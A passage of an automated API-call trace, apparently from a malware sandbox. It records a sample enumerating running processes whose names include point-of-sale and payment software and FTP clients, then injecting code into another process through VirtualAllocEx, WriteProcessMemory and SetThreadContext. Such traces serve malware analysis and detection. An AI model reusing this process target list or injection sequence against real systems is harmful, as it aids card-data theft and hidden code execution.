(cb=0x108) returned 0x841860 [0253.012] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="centralcreditcard.exe") returned 0x15 [0253.012] CoTaskMemFree (pv=0x841860) [0253.012] CloseHandle (hObject=0x6d0) returned 1 [0253.012] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0253.012] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xba8) returned 0x6d0 [0253.012] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0253.013] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0253.013] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="creditservice.exe") returned 0x11 [0253.014] CoTaskMemFree (pv=0x841860) [0253.014] CloseHandle (hObject=0x6d0) returned 1 [0253.014] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0253.014] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbb0) returned 0x6d0 [0253.014] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0253.014] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0253.014] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="edcsvr.exe") returned 0xa [0253.015] CoTaskMemFree (pv=0x841860) [0253.015] CloseHandle (hObject=0x6d0) returned 1 [0253.015] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0253.015] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbb8) returned 0x6d0 [0253.015] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0253.016] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0253.016] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="fpos.exe") returned 0x8 [0253.016] CoTaskMemFree (pv=0x841860) [0253.016] CloseHandle (hObject=0x6d0) returned 1 [0253.016] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0253.016] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbc0) returned 0x6d0 [0253.016] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0253.017] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0253.017] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="isspos.exe") returned 0xa [0253.017] CoTaskMemFree (pv=0x841860) [0253.017] CloseHandle (hObject=0x6d0) returned 1 [0253.017] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0253.018] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbc8) returned 0x6d0 [0253.018] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0253.018] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0253.018] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="mxslipstream.exe") returned 0x10 [0253.018] CoTaskMemFree (pv=0x841860) [0253.018] CloseHandle (hObject=0x6d0) returned 1 [0253.019] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0253.019] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbd0) returned 0x6d0 [0253.019] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0253.019] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0253.019] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="omnipos.exe") returned 0xb [0253.020] CoTaskMemFree (pv=0x841860) [0253.020] CloseHandle (hObject=0x6d0) returned 1 [0253.020] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0253.020] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbd8) returned 0x6d0 [0253.020] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0253.020] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0253.020] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="spcwin.exe") returned 0xa [0253.021] CoTaskMemFree (pv=0x841860) [0253.021] CloseHandle (hObject=0x6d0) returned 1 [0253.021] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0253.021] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbe4) returned 0x6d0 [0253.021] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0253.022] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0253.022] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="spgagentservice.exe") returned 0x13 [0253.022] CoTaskMemFree (pv=0x841860) [0253.022] CloseHandle (hObject=0x6d0) returned 1 [0253.022] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0253.022] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbec) returned 0x6d0 [0253.022] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0253.023] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0253.023] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="utg2.exe") returned 0x8 [0253.023] CoTaskMemFree (pv=0x841860) [0253.023] CloseHandle (hObject=0x6d0) returned 1 [0253.023] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0253.023] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbf0) returned 0x6d0 [0253.023] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0253.024] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0253.024] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="heremanager.exe") returned 0xf [0253.024] CoTaskMemFree (pv=0x841860) [0253.024] CloseHandle (hObject=0x6d0) returned 1 [0253.024] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0253.025] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc08) returned 0x6d0 [0253.025] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0253.025] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0253.025] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="second.exe") returned 0xa [0253.025] CoTaskMemFree (pv=0x841860) [0253.026] CloseHandle (hObject=0x6d0) returned 1 [0253.026] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0253.026] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc10) returned 0x6d0 [0253.026] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0253.026] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0253.026] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="sign.exe") returned 0x8 [0253.027] CoTaskMemFree (pv=0x841860) [0253.027] CloseHandle (hObject=0x6d0) returned 1 [0253.027] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0253.027] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc18) returned 0x6d0 [0253.027] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0253.028] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0253.028] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="than near.exe") returned 0xd [0253.028] CoTaskMemFree (pv=0x841860) [0253.028] CloseHandle (hObject=0x6d0) returned 1 [0253.028] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0253.028] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc20) returned 0x6d0 [0253.028] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0253.029] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0253.029] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="history-oh.exe") returned 0xe [0253.029] CoTaskMemFree (pv=0x841860) [0253.029] CloseHandle (hObject=0x6d0) returned 1 [0253.029] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0253.029] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc28) returned 0x6d0 [0253.029] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0253.030] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0253.030] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="3dftp.exe") returned 0x9 [0253.030] CoTaskMemFree (pv=0x841860) [0253.030] CloseHandle (hObject=0x6d0) returned 1 [0253.030] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0253.030] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc30) returned 0x6d0 [0253.030] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0253.031] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0253.031] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="absolutetelnet.exe") returned 0x12 [0253.031] CoTaskMemFree (pv=0x841860) [0253.031] CloseHandle (hObject=0x6d0) returned 1 [0253.031] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0253.031] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc38) returned 0x6d0 [0253.032] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0253.032] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0253.032] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="alftp.exe") returned 0x9 [0253.032] CoTaskMemFree (pv=0x841860) [0253.032] CloseHandle (hObject=0x6d0) returned 1 [0253.033] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0253.033] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xcc8) returned 0x6d0 [0253.033] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0253.033] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0253.033] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="G") returned 0x0 [0253.033] CoTaskMemFree (pv=0x841860) [0253.033] CloseHandle (hObject=0x6d0) returned 1 [0253.033] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0253.033] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe4c) returned 0x0 [0253.033] GetWindowTextW (in: hWnd=0x0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0253.034] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xed0) returned 0x6d0 [0253.034] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0253.034] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0253.034] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe") returned 0x44 [0253.034] CoTaskMemFree (pv=0x841860) [0253.034] CloseHandle (hObject=0x6d0) returned 1 [0253.034] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0253.034] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd7c) returned 0x6d0 [0253.035] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0253.035] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0253.035] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="G") returned 0x0 [0253.035] CoTaskMemFree (pv=0x841860) [0253.035] CloseHandle (hObject=0x6d0) returned 1 [0253.035] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0253.035] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7f8) returned 0x6d0 [0253.035] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0253.035] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0253.035] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="G") returned 0x0 [0253.036] CoTaskMemFree (pv=0x841860) [0253.036] CloseHandle (hObject=0x6d0) returned 1 [0253.036] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0253.036] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe18) returned 0x6d0 [0253.036] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0253.036] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0253.036] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="G") returned 0x0 [0253.036] CoTaskMemFree (pv=0x841860) [0253.037] CloseHandle (hObject=0x6d0) returned 1 [0253.037] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0253.037] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe88) returned 0x6d0 [0253.037] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0253.037] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0253.037] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="G") returned 0x0 [0253.037] CoTaskMemFree (pv=0x841860) [0253.037] CloseHandle (hObject=0x6d0) returned 1 [0253.037] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0253.037] ReadProcessMemory (in: hProcess=0x360, lpBaseAddress=0x7efde008, lpBuffer=0x3ee4dc, nSize=0x4, lpNumberOfBytesRead=0x3ee524 | out: lpBuffer=0x3ee4dc*, lpNumberOfBytesRead=0x3ee524*=0x4) returned 1 [0253.040] VirtualAllocEx (hProcess=0x360, lpAddress=0x400000, dwSize=0x3c000, flAllocationType=0x3000, flProtect=0x40) returned 0x400000 [0253.042] WriteProcessMemory (in: hProcess=0x360, lpBaseAddress=0x400000, lpBuffer=0x3119540*, nSize=0x200, lpNumberOfBytesWritten=0x3ee524 | out: lpBuffer=0x3119540*, lpNumberOfBytesWritten=0x3ee524*=0x200) returned 1 [0253.062] WriteProcessMemory (in: hProcess=0x360, lpBaseAddress=0x402000, lpBuffer=0x314eb60*, nSize=0x34c00, lpNumberOfBytesWritten=0x3ee524 | out: lpBuffer=0x314eb60*, lpNumberOfBytesWritten=0x3ee524*=0x34c00) returned 1 [0253.146] WriteProcessMemory (in: hProcess=0x360, lpBaseAddress=0x438000, lpBuffer=0x219e1a8*, nSize=0x600, lpNumberOfBytesWritten=0x3ee524 | out: lpBuffer=0x219e1a8*, lpNumberOfBytesWritten=0x3ee524*=0x600) returned 1 [0253.153] WriteProcessMemory (in: hProcess=0x360, lpBaseAddress=0x43a000, lpBuffer=0x219e7b4*, nSize=0x200, lpNumberOfBytesWritten=0x3ee524 | out: lpBuffer=0x219e7b4*, lpNumberOfBytesWritten=0x3ee524*=0x200) returned 1 [0253.250] EnumChildWindows (hWndParent=0x0, lpEnumFunc=0x4bb07e6, lParam=0x0) returned 1 [0253.259] WriteProcessMemory (in: hProcess=0x360, lpBaseAddress=0x7efde008, lpBuffer=0x21a4e4c*, nSize=0x4, lpNumberOfBytesWritten=0x3ee524 | out: lpBuffer=0x21a4e4c*, lpNumberOfBytesWritten=0x3ee524*=0x4) returned 1 [0253.262] SetThreadContext (hThread=0x6c8, lpContext=0x2173bb8*(ContextFlags=0x10002, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0x0, Ecx=0x0, Eax=0x436abe, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, 